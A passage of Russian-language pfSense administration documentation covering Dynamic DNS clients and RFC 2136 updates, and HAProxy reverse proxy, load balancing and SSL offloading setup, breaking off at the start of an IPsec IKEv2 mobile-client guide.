| `/ip dns set allow-remote-requests=yes` | Включение DNS Resolver на интерфейсе |
| `/ip dns static add` | Host Overrides |
| `/ip dns cache flush` | Diagnostics > DNS Lookup > Clear Cache |

## Связанные разделы

- [DHCP сервер pfSense](/docs/pfsense/services/pfsense-dhcp/) - настройка DHCP с регистрацией хостов в DNS
- [Правила файрвола](/docs/pfsense/firewall/pfsense-firewall-rules/) - контроль DNS-трафика и перенаправление запросов
- [Настройка VLAN](/docs/pfsense/vlans/pfsense-vlan-setup/) - раздельная конфигурация DNS для различных сегментов сети


---

# Dynamic DNS в pfSense - обновление записей при смене IP

Source: https://opennix.org/docs/pfsense/services/pfsense-dynamic-dns/


Dynamic DNS (DDNS) решает проблему доступа к сервисам, размещённым за подключением с динамическим IP-адресом. При каждом изменении WAN-адреса pfSense автоматически обновляет DNS-запись у провайдера, обеспечивая постоянную доступность по доменному имени. Это критически важно для удалённого доступа через VPN, размещения веб-серверов, организации видеонаблюдения и других сценариев, где требуется стабильное доменное имя при непостоянном IP-адресе.

## Принцип работы Dynamic DNS

При подключении к провайдеру pfSense получает WAN-адрес через DHCP или PPPoE. Этот адрес может изменяться при каждом переподключении или по истечении срока аренды. Dynamic DNS клиент отслеживает текущий WAN-адрес и при его изменении отправляет запрос на обновление записи к DNS-провайдеру через API. Таким образом, доменное имя всегда указывает на актуальный IP-адрес.

Процесс обновления происходит следующим образом:

1. pfSense периодически проверяет текущий IP-адрес на выбранном интерфейсе
2. При обнаружении изменения формируется запрос к API DNS-провайдера
3. Провайдер обновляет A-запись (или AAAA для IPv6) для указанного домена
4. Обновление распространяется по DNS в соответствии с TTL записи

## Поддерживаемые провайдеры

pfSense поддерживает широкий набор DNS-провайдеров для автоматического обновления записей.

| Провайдер | Особенности |
|---|---|
| **Cloudflare** | Бесплатный DNS, поддержка проксирования, API token |
| **No-IP** | Бесплатный план с ограничениями, широкая совместимость |
| **DynDNS** | Один из старейших DDNS-сервисов, платный |
| **Namecheap** | Бесплатный DDNS для доменов, зарегистрированных в Namecheap |
| **Route 53** | AWS DNS-сервис, требует Access Key и Zone ID |
| **HE.net** | Hurricane Electric, бесплатный DNS с поддержкой DDNS |
| **FreeDNS** | Бесплатный сервис afraid.org |
| **DNSimple** | API-ориентированный DNS-провайдер |
| **GleSYS** | Шведский хостинг-провайдер с DNS API |
| **Custom** | Произвольный провайдер с HTTP API |

При выборе провайдера следует учитывать требования к надёжности, скорость распространения обновлений и наличие дополнительных функций (проксирование, DNSSEC на стороне провайдера).

## Настройка DynDNS клиента

Конфигурация выполняется через **Services > Dynamic DNS** на вкладке **Dynamic DNS Clients**.

### Создание записи

Для добавления нового клиента необходимо нажать кнопку **Add** и заполнить следующие поля.

| Поле | Описание | Пример |
|---|---|---|
| **Disable** | Временное отключение записи без удаления | Не установлен |
| **Service Type** | Провайдер DDNS из списка | Cloudflare |
| **Interface to Monitor** | Интерфейс, IP-адрес которого отслеживается | WAN |
| **Hostname** | Полное доменное имя (FQDN) | `home.example.com` |
| **Domain Name** | Доменное имя (для Namecheap - отдельное поле) | `example.com` |
| **Username** | Имя пользователя или API-ключ | Зависит от провайдера |
| **Password** | Пароль или API-токен | Зависит от провайдера |
| **Description** | Описание записи для идентификации | `Home server DDNS` |

### Выбор интерфейса

Поле **Interface to Monitor** определяет, какой IP-адрес будет передаваться провайдеру.

| Вариант | Когда использовать |
|---|---|
| **WAN** | Стандартное подключение с одним внешним каналом |
| **OPTx** | Дополнительные WAN-интерфейсы в multi-WAN конфигурации |
| **Gateway Group** | Автоматическое переключение между WAN при отказе основного канала |

При выборе Gateway Group Dynamic DNS автоматически переключается на резервный WAN-адрес при отказе основного канала, обеспечивая непрерывную доступность сервисов.

### Метод определения IP-адреса

pfSense предлагает несколько методов определения текущего публичного IP-адреса.

**Адрес интерфейса** - используется IP-адрес, назначенный выбранному WAN-интерфейсу. Этот метод подходит, когда pfSense подключён напрямую к провайдеру и получает публичный адрес.

**Внешний сервис проверки IP** - pfSense обращается к внешнему HTTP-сервису, который возвращает публичный IP-адрес. Этот метод необходим, когда pfSense находится за NAT вышестоящего маршрутизатора и его WAN-интерфейс имеет приватный адрес.

> **Внимание**:
>
> Если pfSense расположен за NAT провайдера (Carrier-Grade NAT) или другого маршрутизатора, необходимо использовать внешний сервис проверки IP. В противном случае в DNS будет зарегистрирован приватный адрес WAN-интерфейса, недоступный из интернета.

### Дополнительные параметры

| Параметр | Описание |
|---|---|
| **MX** | Mail Exchanger запись для почтового сервера |
| **Wildcard** | Разрешение поддоменов на тот же IP-адрес |
| **Verbose Logging** | Подробное журналирование для диагностики |
| **SSL Peer Verification** | Проверка SSL-сертификата при обращении к API провайдера |

### Периодичность обновлений

Dynamic DNS клиент проверяет IP-адрес при каждом изменении состояния интерфейса, а также принудительно обновляет запись каждые 25 дней, даже если адрес не изменился. Это предотвращает удаление неактивных записей провайдерами с политикой автоматической очистки.

## Настройка для конкретных провайдеров

### Cloudflare

Cloudflare является одним из наиболее популярных провайдеров благодаря бесплатному DNS-хостингу и дополнительным функциям проксирования.

1. Создать API-токен в личном кабинете Cloudflare с правами на редактирование DNS-зон
2. В pfSense выбрать **Service Type**: Cloudflare
3. В поле **Username** указать адрес электронной почты аккаунта Cloudflare
4. В поле **Password** указать API-токен (не Global API Key)
5. Указать полное имя хоста в поле **Hostname**

### Namecheap

Для доменов, зарегистрированных в Namecheap, DDNS доступен бесплатно.

1. Активировать Dynamic DNS в панели управления доменом Namecheap
2. Скопировать сгенерированный пароль Dynamic DNS
3. В pfSense выбрать **Service Type**: Namecheap
4. Поле **Username** оставить пустым
5. В поле **Password** указать пароль из панели Namecheap
6. В поле **Hostname** указать имя хоста (без домена)
7. В поле **Domain Name** указать домен

### Route 53 (AWS)

Для использования Route 53 необходим аккаунт AWS с настроенной hosted zone.

1. Создать IAM-пользователя с политикой, разрешающей `route53:ChangeResourceRecordSets`
2. В поле **Username** указать Access Key ID
3. В поле **Password** указать Secret Access Key
4. Указать Zone ID в соответствующем поле
5. Задать TTL записи (рекомендуется 60-300 секунд)

### Custom (пользовательский провайдер)

Тип **Custom** позволяет настроить обновление через произвольный HTTP API.

| Поле | Описание |
|---|---|
| **Update URL** | URL для обновления записи с подстановкой `%IP%` |
| **Result Match** | Строка, ожидаемая в ответе при успешном обновлении |

Пример URL: `https://dns.example.com/update?hostname=home.example.com&ip=%IP%&token=secret`

pfSense подставит текущий IP-адрес вместо `%IP%` и проверит наличие строки из **Result Match** в ответе сервера.

## RFC 2136 - обновление собственного DNS-сервера

RFC 2136 определяет стандартный протокол динамического обновления DNS-записей. Этот метод позволяет pfSense напрямую обновлять записи на DNS-сервере (BIND, PowerDNS, Windows Server DNS) без использования стороннего провайдера.

### Когда использовать RFC 2136

- Организация располагает собственным авторитетным DNS-сервером
- Требуется полный контроль над DNS-инфраструктурой без зависимости от внешних сервисов
- DNS-сервер поддерживает протокол динамических обновлений (BIND 9, PowerDNS, Microsoft DNS)

### Настройка RFC 2136

Конфигурация выполняется через **Services > Dynamic DNS** на вкладке **RFC 2136**.

| Поле | Описание | Пример |
|---|---|---|
| **Enable** | Включение записи | Установлен |
| **Interface** | Интерфейс, IP-адрес которого регистрируется | WAN |
| **Hostname** | Полное доменное имя (FQDN) | `fw.corp.example.com` |
| **Zone** | DNS-зона для обновления | `corp.example.com` |
| **Server** | IP-адрес или имя DNS-сервера | `10.0.0.53` |
| **Record Type** | Тип записи: A, AAAA или оба | A |
| **TTL** | Время жизни записи в секундах | 60 |
| **Key Name** | Имя TSIG-ключа | `fw.corp.example.com` |
| **Key Algorithm** | Алгоритм TSIG | HMAC-SHA256 |
| **Key** | Секретный ключ TSIG в формате Base64 | (сгенерированный ключ) |

### Генерация TSIG-ключа

TSIG (Transaction Signature) обеспечивает аутентификацию обновлений. Ключ необходимо сгенерировать на DNS-сервере и указать в настройках pfSense.

Для BIND генерация ключа выполняется следующей командой:

```bash
tsig-keygen -a hmac-sha256 fw.corp.example.com
```

Результат содержит ключ в формате Base64, который следует скопировать в поле **Key** в pfSense. Тот же ключ необходимо добавить в конфигурацию BIND и разрешить обновления для соответствующей зоны.

### Дополнительные параметры RFC 2136

| Параметр | Описание |
|---|---|
| **Use Public IP** | Определение публичного IP через внешний сервис (при NAT) |
| **Update Source** | Интерфейс для отправки обновлений |
| **Protocol** | UDP (по умолчанию) или TCP |

> **Внимание**:
>
> При использовании TCP для обновлений необходимо убедиться, что правила файрвола разрешают исходящий TCP-трафик на порт 53 DNS-сервера. По умолчанию обновления отправляются по UDP.

## Multi-WAN и несколько записей DDNS

pfSense поддерживает создание произвольного количества записей Dynamic DNS, что позволяет реализовать несколько сценариев.

### Несколько провайдеров для одного домена

Для повышения надёжности допускается создание записей у нескольких провайдеров для одного и того же имени хоста. При недоступности одного провайдера второй продолжит обслуживать запросы.

### Разные записи для разных WAN

В multi-WAN конфигурации каждому WAN-интерфейсу следует назначить отдельную запись Dynamic DNS:

| Запись | Интерфейс | Домен |
|---|---|---|
| Запись 1 | WAN | `wan1.example.com` |
| Запись 2 | WAN2 | `wan2.example.com` |

### Gateway Group для отказоустойчивости

При использовании Gateway Group в качестве интерфейса Dynamic DNS автоматически обновляет запись при переключении на резервный канал. Это обеспечивает непрерывную доступность входящих подключений при отказе основного провайдера.

## Проверка статуса обновлений

Состояние всех записей Dynamic DNS отображается на странице **Status > Dynamic DNS**.

| Столбец | Описание |
|---|---|
| **Interface** | Отслеживаемый интерфейс |
| **Service** | Тип провайдера |
| **Hostname** | Обновляемое доменное имя |
| **Cached IP** | Последний зарегистрированный IP-адрес |
| **Status** | Результат последнего обновления |

Статус **Updated** указывает на успешное обновление. Статус **Error** сигнализирует о проблеме - подробности доступны в журнале.

## Диагностика проблем

### Запись не обновляется

1. Проверить статус на странице **Status > Dynamic DNS** - поле **Status** должно содержать информацию об ошибке
2. Включить **Verbose Logging** в настройках записи для получения подробных данных
3. Просмотреть журнал: **Status > System Logs > Dynamic DNS**
4. Убедиться, что WAN-интерфейс имеет IP-адрес и шлюз по умолчанию доступен
5. Проверить DNS-разрешение на pfSense через **Diagnostics > DNS Lookup**

### Обнаруживается неверный IP-адрес

- Если pfSense за NAT - включить определение публичного IP через внешний сервис
- Проверить, что выбран корректный интерфейс в поле **Interface to Monitor**
- При использовании Gateway Group убедиться, что группа настроена корректно

### Ошибка аутентификации

1. Проверить корректность учётных данных (API-токен, пароль)
2. Для Cloudflare - убедиться, что используется API-токен с правами на редактирование DNS-зоны, а не Global API Key
3. Для Namecheap - убедиться, что Dynamic DNS активирован в панели управления доменом
4. Для Route 53 - проверить IAM-политику пользователя

### RFC 2136 не обновляет запись

1. Проверить доступность DNS-сервера с pfSense: **Diagnostics > Ping**
2. Убедиться, что TSIG-ключ совпадает на pfSense и DNS-сервере
3. Проверить, что зона на DNS-сервере разрешает динамические обновления
4. Просмотреть журнал DNS-сервера на предмет ошибок аутентификации

## Интеграция с VPN и проброс портов

Dynamic DNS широко используется совместно с VPN и пробросом портов (Port Forwarding).

### VPN с Dynamic DNS

При настройке удалённого VPN-подключения (OpenVPN, IPsec) Dynamic DNS обеспечивает стабильный адрес сервера:

- В конфигурации VPN-клиента указывается доменное имя вместо IP-адреса
- При смене WAN-адреса клиент автоматически переподключается по обновлённому DNS
- TTL записи рекомендуется устанавливать в 60-120 секунд для минимизации задержки переподключения

### Port Forwarding с Dynamic DNS

Для доступа к внутренним сервисам через проброс портов Dynamic DNS позволяет использовать стабильное доменное имя:

1. Настроить правило Port Forward в **Firewall > NAT > Port Forward**
2. Создать запись Dynamic DNS для WAN-интерфейса
3. Обращаться к сервису по адресу `hostname.example.com:port`

## Связанные разделы

- [DNS (Resolver и Forwarder)](/docs/pfsense/services/pfsense-dns/) - настройка DNS-разрешения и переопределение записей на уровне pfSense
- [Правила файрвола](/docs/pfsense/firewall/pfsense-firewall-rules/) - управление доступом к сервисам при использовании Dynamic DNS
- [Multi-WAN failover](/docs/pfsense/multi-wan/pfsense-multi-wan-failover/) - отказоустойчивость каналов связи с автоматическим обновлением DNS


---

# HAProxy в pfSense - обратный прокси и балансировка

Source: https://opennix.org/docs/pfsense/packages/pfsense-haproxy/


HAProxy (High Availability Proxy) - высокопроизводительное решение для проксирования и балансировки нагрузки TCP и HTTP-трафика. В pfSense HAProxy устанавливается как пакет и предоставляет функции обратного прокси-сервера, балансировщика нагрузки между несколькими серверами, SSL-терминатора для разгрузки шифрования с бэкенд-серверов и маршрутизатора HTTP-запросов на основе ACL-правил. HAProxy широко используется для публикации веб-приложений через единый внешний IP-адрес, обеспечения отказоустойчивости серверных пулов и распределения клиентских запросов между несколькими экземплярами приложения.

В контексте pfSense HAProxy работает совместно с файрволом, что позволяет объединить функции маршрутизации, фильтрации и проксирования на одном устройстве. Это упрощает архитектуру сети и сокращает количество точек отказа.

## Установка HAProxy

Установка выполняется через менеджер пакетов:

1. Перейти в **System > Package Manager > Available Packages**
2. Найти **haproxy** в строке поиска (доступны две версии: **haproxy** и **haproxy-devel**)
3. Нажать **Install** и подтвердить установку
4. Дождаться завершения установки

После установки конфигурация доступна через **Services > HAProxy**.

### Выбор версии

| Версия | Описание | Рекомендация |
|---|---|---|
| **haproxy** | Стабильная версия, отслеживает стабильную ветку FreeBSD-порта | Рабочие среды |
| **haproxy-devel** | Версия для разработки, содержит новые функции раньше | Тестовые среды |

## Архитектура HAProxy

HAProxy оперирует двумя основными сущностями:

```text
Клиент ──> Frontend (слушатель) ──> ACL (маршрутизация) ──> Backend (пул серверов)
                                                              ├── Server 1
                                                              ├── Server 2
                                                              └── Server 3
```

| Компонент | Описание |
|---|---|
| **Frontend** | Точка входа для клиентских подключений (IP:порт), определяет протокол и ACL-правила |
| **Backend** | Пул бэкенд-серверов с настройками балансировки и проверок здоровья |
| **Server** | Отдельный бэкенд-сервер в пуле (IP, порт, вес) |
| **ACL** | Условие маршрутизации запросов между бэкендами |

### Особенности реализации в pfSense

Веб-интерфейс pfSense отличается от стандартной конфигурации HAProxy. Вместо раздельных секций frontend/backend в конфигурационном файле, пакет pfSense генерирует секции `listen`, которые объединяют frontend и backend. Это упрощает базовую настройку, но ограничивает возможности продвинутых сценариев с множественными бэкендами.

## Настройка Backend

Backend (бэкенд) определяет группу серверов, на которые HAProxy направляет клиентские запросы. Настройка выполняется через **Services > HAProxy > Backend**.

### Создание Backend

1. Перейти в **Services > HAProxy > Backend**
2. Нажать **Add**
3. Заполнить параметры
4. Нажать **Save** и **Apply Changes**

### Основные параметры Backend

| Параметр | Описание |
|---|---|
| **Name** | Уникальное имя бэкенда (без пробелов) |
| **Server List** | Список серверов пула |
| **Balance** | Алгоритм балансировки нагрузки |
| **Connection Timeout** | Таймаут подключения к серверу |
| **Server Timeout** | Таймаут ожидания ответа от сервера |
| **Retries** | Количество повторных попыток подключения |

### Серверы в Backend

Для каждого сервера в пуле указываются:

| Поле | Описание | Обязательное |
|---|---|---|
| **Name** | Имя сервера для идентификации в логах | Да |
| **Address** | IP-адрес или FQDN бэкенд-сервера | Да |
| **Port** | Порт бэкенд-сервера | Да |
| **SSL** | Использование SSL при подключении к серверу | Нет |
| **Weight** | Вес сервера для взвешенной балансировки (1-256) | Нет |
| **Cookie** | Значение cookie для привязки сессий | Нет |

### Алгоритмы балансировки

| Алгоритм | Описание | Применение |
|---|---|---|
| **Round Robin** | Последовательное распределение по серверам | Серверы с одинаковой производительностью |
| **Least Connections** | Направление на сервер с наименьшим количеством соединений | Запросы с разной длительностью обработки |
| **Source** | Привязка клиента к серверу на основе IP-адреса | Требуется постоянство сессии без cookie |
| **URI** | Маршрутизация по URI-запроса | Кэширующие серверы |
| **First** | Заполнение серверов последовательно до максимума | Минимизация количества активных серверов |

Для большинства веб-приложений рекомендуется **Round Robin** или **Least Connections**. Алгоритм **Source** подходит для приложений, не поддерживающих распределённые сессии.

## Настройка Frontend

Frontend (фронтенд) определяет точку входа для клиентских подключений - IP-адрес, порт и протокол, на которых HAProxy принимает соединения. Настройка выполняется через **Services > HAProxy > Frontend**.

### Создание Frontend

1. Перейти в **Services > HAProxy > Frontend**
2. Нажать **Add**
3. Заполнить параметры
4. Нажать **Save** и **Apply Changes**

### Основные параметры Frontend

| Параметр | Описание |
|---|---|
| **Name** | Уникальное имя фронтенда |
| **Status** | Состояние: Active или Disabled |
| **External Address** | IP-адрес для прослушивания (WAN, VIP, localhost) |
| **External Port** | Порт для прослушивания |
| **Max Connections** | Максимальное количество одновременных соединений |
| **Type** | Тип: HTTP/HTTPS (Layer 7) или TCP (Layer 4) |
| **Default Backend** | Бэкенд по умолчанию для запросов без совпадений ACL |

### Настройка HTTPS Frontend

Для приёма HTTPS-соединений необходимо:

1. Установить **Type** в **HTTP / HTTPS (offloading)**
2. В разделе **SSL Offloading** выбрать сертификат
3. Указать **External Port** как **443**
4. Настроить Default Backend

При необходимости перенаправления HTTP на HTTPS создать дополнительный Frontend на порту 80 с действием **http-request redirect** или использовать ACL.

### Привязка к Virtual IP

Для приёма соединений на определённом IP-адресе, отличном от основного WAN-адреса, используйте Virtual IP:

1. Создать IP Alias или CARP VIP через **Firewall > Virtual IPs**
2. В настройках Frontend выбрать созданный VIP в поле **External Address**

Это позволяет обслуживать несколько доменов на разных IP-адресах через один экземпляр HAProxy.

## ACL - правила маршрутизации

ACL (Access Control Lists) определяют условия, по которым HAProxy направляет запросы на различные бэкенды. ACL анализируют параметры входящего запроса и применяют соответствующее действие.

### Создание ACL

ACL настраиваются в секции Frontend:

1. На странице редактирования Frontend перейти к разделу **Access Control Lists**
2. Нажать **Add ACL** (стрелка вниз)
3. Заполнить условие и действие
4. Повторить для каждого правила маршрутизации

### Типы условий ACL

| Условие | Описание | Пример |
|---|---|---|
| **Host matches** | Совпадение заголовка Host | `app.example.com` |
| **Host starts with** | Начало заголовка Host | `api.` |
| **Host ends with** | Окончание заголовка Host | `.example.com` |
| **Host contains** | Подстрока в заголовке Host | `staging` |
| **Host regex** | Регулярное выражение для Host | `^(www\.)?example\.com$` |
| **Path starts with** | Начало URI-пути | `/api/` |
| **Path ends with** | Окончание URI-пути | `.php` |
| **Path contains** | Подстрока в URI-пути | `/admin/` |
| **Path regex** | Регулярное выражение для пути | `^/v[0-9]+/` |
| **Source IP matches** | Совпадение IP-адреса клиента | `192.168.1.0/24` |
| **SSL SNI matches** | Совпадение SNI в TLS Client Hello | `app.example.com` |
| **Custom ACL** | Произвольное условие HAProxy | `hdr(X-Custom) -i value` |

### Действия ACL

| Действие | Описание |
|---|---|
| **Use Backend** | Направить запрос на указанный бэкенд |
| **http-request deny** | Отклонить запрос с кодом ошибки |
| **http-request redirect** | Перенаправить запрос на другой URL |
| **http-request set-header** | Установить или изменить HTTP-заголовок |

### Пример маршрутизации по доменам

Для публикации нескольких веб-приложений через один IP-адрес:

| ACL | Условие | Backend |
|---|---|---|
| ACL 1 | Host matches `app1.example.com` | backend_app1 |
| ACL 2 | Host matches `app2.example.com` | backend_app2 |
| ACL 3 | Host matches `api.example.com` | backend_api |
| Default | Все остальные запросы | backend_default |

### Пример маршрутизации по путям

| ACL | Условие | Backend |
|---|---|---|
| ACL 1 | Path starts with `/api/` | backend_api |
| ACL 2 | Path starts with `/static/` | backend_static |
| Default | Все остальные запросы | backend_webapp |

## SSL-терминация

SSL-терминация (SSL offloading) позволяет HAProxy принимать HTTPS-соединения от клиентов, расшифровывать трафик и пересылать его на бэкенд-серверы по HTTP. Это снимает нагрузку шифрования с бэкенд-серверов и упрощает управление сертификатами.

### Импорт сертификата

Перед настройкой SSL необходимо импортировать сертификат в pfSense:

1. Перейти в **System > Certificates > Certificates**
2. Нажать **Add/Sign**
3. Выбрать метод: **Import an existing Certificate**
4. Вставить сертификат и приватный ключ
5. Нажать **Save**

Для сертификатов Let's Encrypt рекомендуется использовать пакет **ACME** для автоматического получения и обновления.

### Настройка SSL Offloading в Frontend

1. В настройках Frontend установить **Type** в **HTTP / HTTPS (offloading)**
2. В разделе **SSL Offloading** выбрать сертификат
3. При необходимости добавить дополнительные сертификаты через **Additional Certificates** (для нескольких доменов)
4. Настроить минимальную версию TLS (рекомендуется TLS 1.2)

### Параметры SSL

| Параметр | Описание | Рекомендация |
|---|---|---|
| **Certificate** | Основной SSL-сертификат | Обязательно |
| **Additional Certificates** | Сертификаты для дополнительных доменов | По необходимости |
| **SSL/TLS Minimum Version** | Минимальная версия протокола | TLS 1.2 |
| **SSL/TLS Ciphers** | Набор шифров | По умолчанию или Mozilla Modern |
| **HSTS** | HTTP Strict Transport Security | Включить для рабочих сред |
| **OCSP Stapling** | Привязка статуса OCSP | Включить для улучшения производительности |

### SSL Pass-Through

Для случаев, когда SSL-терминация должна выполняться на бэкенд-сервере (например, клиентские сертификаты), используется режим **SSL/HTTPS (TCP mode)**. HAProxy передаёт зашифрованный трафик без расшифровки, маршрутизируя по SNI.

## Проверки здоровья

Проверки здоровья (health checks) позволяют HAProxy определять доступность бэкенд-серверов и автоматически исключать неработающие из балансировки.

### Типы проверок

| Тип | Описание | Параметры |
|---|---|---|
| **TCP Check** | Проверка TCP-подключения к порту | Не требует настройки |
| **HTTP Check** | Отправка HTTP-запроса и проверка кода ответа | URI, метод, ожидаемый код |
| **SSL Check** | Проверка SSL-соединения | Аналогично TCP с SSL |
| **LDAP Check** | Проверка LDAP-сервера | LDAP-специфичные параметры |
| **MySQL Check** | Проверка MySQL-сервера | Учётные данные |
| **PostgreSQL Check** | Проверка PostgreSQL-сервера | Учётные данные |
| **SMTP Check** | Проверка SMTP-сервера | HELO-домен |
| **ESMTP Check** | Расширенная проверка SMTP | EHLO-домен |

### Настройка HTTP-проверки

Для веб-приложений рекомендуется HTTP-проверка:

1. В настройках Backend перейти к **Health Checking**
2. Установить **Health Check Method** в **HTTP**
3. Указать **Check Frequency** (интервал проверки, например 5 секунд)
4. Указать **Health Check URI** (путь для проверки, например `/health`)
5. Указать **HTTP Check Method** (GET)
6. Указать ожидаемый код ответа (по умолчанию 200-399)

### Параметры проверок

| Параметр | Описание | Значение по умолчанию |
|---|---|---|
| **Check Frequency** | Интервал между проверками | 5 секунд |
| **Inter** | Интервал проверки для здоровых серверов | 5000 мс |
| **Down Inter** | Интервал проверки для недоступных серверов | 1000 мс |
| **Rise** | Количество успешных проверок для возврата сервера | 2 |
| **Fall** | Количество неуспешных проверок для вывода сервера | 3 |

## Привязка сессий

Привязка сессий (session persistence, sticky sessions) обеспечивает направление всех запросов одного клиента на один и тот же бэкенд-сервер. Это необходимо для приложений, хранящих состояние сессии локально на сервере.

### Методы привязки

| Метод | Описание | Применение |
|---|---|---|
| **Cookie-based** | HAProxy вставляет cookie с идентификатором сервера | Веб-приложения с поддержкой cookie |
| **Source IP** | Привязка по IP-адресу клиента (алгоритм Source) | Приложения без cookie, API |
| **SSL Session ID** | Привязка по идентификатору TLS-сессии | HTTPS без cookie |

### Настройка Cookie-based привязки

1. В настройках Backend в разделе **Cookie Persistence**:
   - **Cookie Name** - имя cookie (например, `SERVERID`)
   - **Cookie Mode** - режим: Insert (HAProxy вставляет cookie), Prefix, Rewrite
   - **Cookie Options** - дополнительные параметры (Indirect, NoCache, PostOnly)
2. Для каждого сервера в бэкенде указать уникальное значение в поле **Cookie**

## Страница статистики

HAProxy предоставляет встроенную страницу статистики с информацией о состоянии фронтендов, бэкендов и отдельных серверов.

### Включение статистики

Настройка выполняется через **Services > HAProxy > Settings** в разделе **Stats**:

| Параметр | Описание |
|---|---|
| **Stats Enabled** | Активация страницы статистики |
| **Stats URI** | URI для доступа (например, `/haproxy-stats`) |
| **Stats Realm** | Заголовок окна аутентификации |
| **Stats Username** | Имя пользователя |
| **Stats Password** | Пароль |
| **Stats Admin** | Разрешение на управление серверами через веб-интерфейс |
| **Stats Node** | Имя узла, отображаемое в статистике |

### Информация на странице статистики

Страница статистики отображает:

- Состояние каждого фронтенда (UP/DOWN, текущие соединения)
- Состояние каждого бэкенда и его серверов (UP/DOWN, активные/неактивные)
- Количество запросов, байт, ошибок за текущую и предыдущую сессии
- Время ответа серверов (avg, max)
- Queue status (очередь запросов при перегрузке серверов)
- Вес серверов и коэффициент распределения

При включённом **Stats Admin** доступны действия: отключение/включение серверов, слив соединений (drain), установка веса.

> **Внимание**:
>
> Страница статистики содержит конфиденциальную информацию об инфраструктуре. Обязательно настройте аутентификацию и ограничьте доступ по IP-адресам через правила файрвола или ACL.

## Типичные сценарии использования

### Обратный прокси для веб-серверов

Публикация нескольких веб-приложений через один внешний IP-адрес с маршрутизацией по доменным именам:

1. Создать Backend для каждого веб-приложения (backend_site1, backend_site2)
2. Создать Frontend на порту 443 с SSL-терминацией
3. Настроить ACL-правила маршрутизации по Host
4. Создать Frontend на порту 80 с перенаправлением на HTTPS
5. Настроить правила файрвола для пропуска трафика на порты 80 и 443

### Балансировка нагрузки веб-приложения

Распределение запросов между несколькими экземплярами приложения:

1. Создать Backend с несколькими серверами
2. Выбрать алгоритм балансировки (Round Robin или Least Connections)
3. Настроить HTTP-проверку здоровья на endpoint `/health`
4. При необходимости настроить Cookie-based привязку сессий
5. Создать Frontend с привязкой к VIP или WAN-адресу

### Публикация API

Маршрутизация API-запросов с разделением по версиям:

1. Создать Backend для каждой версии API
2. Создать Frontend с ACL по путям: `/v1/` - backend_v1, `/v2/` - backend_v2
3. Настроить проверки здоровья для каждого бэкенда
4. Добавить rate limiting через ACL при необходимости

## Глобальные настройки

Общие параметры HAProxy настраиваются через **Services > HAProxy > Settings**.

| Параметр | Описание | Рекомендация |
|---|---|---|
| **Enable HAProxy** | Активация HAProxy | Включить |
| **Maximum Connections** | Глобальный лимит соединений | 1000-10000 (зависит от RAM) |
| **Internal Connections Timeout** | Таймаут клиентских соединений | 30000 мс |
| **Connection Timeout** | Таймаут подключения к бэкенду | 30000 мс |
| **Server Timeout** | Таймаут ответа бэкенда | 30000 мс |
| **Tunnel Timeout** | Таймаут для WebSocket и длительных соединений | 3600000 мс |
| **DNS Resolvers** | DNS-серверы для разрешения имён бэкендов | Указать при использовании FQDN |

## Логирование

HAProxy записывает события в системный журнал pfSense (**Status > System Logs > HAProxy**).

### Уровни логирования

| Уровень | Описание |
|---|---|
| **Emergency** | Система неработоспособна |
| **Alert** | Требуется немедленное вмешательство |
| **Critical** | Критические ошибки |
| **Error** | Ошибки подключения и обработки |
| **Warning** | Предупреждения (недоступность серверов) |
| **Notice** | Нормальные, но важные события |
| **Info** | Информационные сообщения о запросах |
| **Debug** | Детальная отладочная информация |

### Формат логов HTTP

Каждая строка лога HTTP-запроса содержит:

- Клиентский IP и порт
- Время принятия соединения
- Имя фронтенда и бэкенда
- Код HTTP-ответа
- Длительность обработки (Tq/Tw/Tc/Tr/Tt)
- Переданный объём данных
- Заголовки запроса (при включении захвата)

## Диагностика проблем

### HAProxy не запускается

1. Проверить конфигурацию: **Services > HAProxy > Settings > Configuration Validity**
2. Просмотреть системные логи: **Status > System Logs > HAProxy**
3. Убедиться, что порты фронтендов не заняты другими сервисами
4. Проверить, что SSL-сертификаты корректны и не истекли

### Бэкенд-сервер помечен как DOWN

1. Проверить доступность сервера из pfSense: **Diagnostics > Ping**
2. Убедиться, что порт бэкенд-сервера принимает соединения: **Diagnostics > Test Port**
3. Проверить настройки health check - URI, метод, ожидаемый код ответа
4. Просмотреть логи HAProxy для определения причины отказа
5. Временно отключить health check для диагностики

### 502 Bad Gateway

1. Бэкенд-сервер не отвечает или возвращает ошибку
2. Проверить таймаут подключения к бэкенду (**Connection Timeout**)
3. Убедиться, что бэкенд-сервер способен обработать запрос (не перегружен)
4. При использовании SSL к бэкенду проверить корректность сертификата

### 503 Service Unavailable

1. Все серверы в бэкенде помечены как DOWN
2. Проверить проверки здоровья для каждого сервера
3. Убедиться, что максимальное количество соединений не превышено
4. Проверить очередь запросов на странице статистики

### SSL-ошибки

1. Проверить срок действия сертификата: **System > Certificates**
2. Убедиться, что цепочка сертификатов полная (включая промежуточные CA)
3. Проверить совпадение доменного имени в сертификате с запрашиваемым
4. При использовании нескольких сертификатов убедиться, что SNI настроен корректно
5. Проверить минимальную версию TLS - старые клиенты могут не поддерживать TLS 1.2+

### Сессия не сохраняется между запросами

1. Проверить настройки Cookie Persistence в бэкенде
2. Убедиться, что каждый сервер имеет уникальное значение Cookie
3. При использовании алгоритма Source убедиться, что клиенты подключаются с постоянного IP
4. Проверить, не включён ли прозрачный прокси или CDN, изменяющий IP клиента

## Связанные разделы

- [Управление пакетами](/docs/pfsense/packages/pfsense-package-management/) - установка и обновление пакетов pfSense
- [Сертификаты pfSense](/docs/pfsense/certificates/pfsense-certificate-management/) - управление SSL-сертификатами для HAProxy
- [Правила файрвола](/docs/pfsense/firewall/pfsense-firewall-rules/) - настройка правил для пропуска трафика к HAProxy
- [NAT в pfSense](/docs/pfsense/nat/pfsense-port-forwarding/) - альтернативный способ публикации сервисов через проброс портов


---

# IPsec IKEv2 для мобильных клиентов в pfSense - настройка

Source: https://opennix.org/docs/pfsense/vpn/ipsec/pfsense-ipsec-mobile-clients/


IKEv2 (Internet Key Exchange version 2) - наиболее практичный протокол для организации VPN-доступа мобильных пользователей к корпоративной сети через pfSense. Ключевое преимущество IKEv2 перед другими протоколами удалённого доступа - встроенная поддержка во всех современных операционных системах: Windows 10/11, macOS, iOS и Android. Пользователям не требуется устанавливать сторонние VPN-клиенты - подключение выполняется средствами операционной системы.

Данное руководство описывает полный цикл настройки IPsec IKEv2 для мобильных клиентов в pfSense: от создания сертификатов до конфигурации клиентских устройств. Материал рассчитан на администраторов, знакомых с веб-интерфейсом pfSense и базовыми принципами PKI.

## Преимущества IKEv2 для удалённого доступа

Перед выбором протокола удалённого доступа следует оценить преимущества IKEv2 по сравнению с альтернативами.

